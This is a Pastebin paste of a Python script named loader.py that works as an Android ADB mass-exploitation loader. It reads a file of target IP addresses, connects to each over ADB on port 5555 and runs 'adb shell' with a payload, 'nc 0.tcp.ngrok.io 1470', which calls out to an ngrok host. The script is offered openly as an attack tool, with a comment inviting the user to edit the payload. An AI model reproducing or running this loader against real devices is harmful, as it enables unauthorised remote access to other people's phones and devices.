Advertisement
FlyFar

loader.py

Jan 17th, 2024
647
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.38 KB | Cybersecurity | 0 0
  1. import sys
  2. import subprocess
  3.  
  4. payload = "nc 0.tcp.ngrok.io 1470" # Edit this!
  5.  
  6.  
  7. # Loader
  8. # Date: 08/21/21
  9. # Author: 0x1CA3
  10.  
  11.  
  12. banner = """
  13.                .____                     .___            
  14.                |    |    _________     __| _/___________
  15.                |    |   /  _ \__  \  / __ |/ __ \_  __ \\
  16.                |    |__(  <_> ) __ \_/ /_/ \ ___/|  | \/
  17.                |_______ \____(____  /\____ |\___  >__|  
  18.                        \/         \/      \/    \/      
  19.                 [Made by https://github.com/0x1CA3]
  20. """
  21.  
  22. def scan(line):
  23.     subprocess.call("adb start-server", shell=True)
  24.     subprocess.call(f"adb connect {line}:5555", shell=True)
  25.        
  26.     output = subprocess.Popen(["adb", "devices"], stdout=subprocess.PIPE).communicate()[0]
  27.     if 'offline' not in str(output):
  28.         print(f"Online! -> {line}")
  29.     subprocess.call("adb kill-server", shell=True)
  30.     subprocess.call(f"adb shell {payload}", shell=True)
  31.    
  32.     save_data = open("results.txt", "a")
  33.     save_data.write(f"{line}")
  34.  
  35. def get_data(targets):
  36.     devices_list = open(targets, "r")
  37.     devices_data = devices_list.readlines()
  38.     for line in devices_data:
  39.         scan(line)
  40.  
  41. def main():
  42.     print(banner)
  43.     if len(sys.argv) < 2:
  44.         print("Usage: python3 loader.py [FILE]")
  45.         sys.exit()
  46.     targets = sys.argv[1]
  47.     get_data(targets)
  48. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement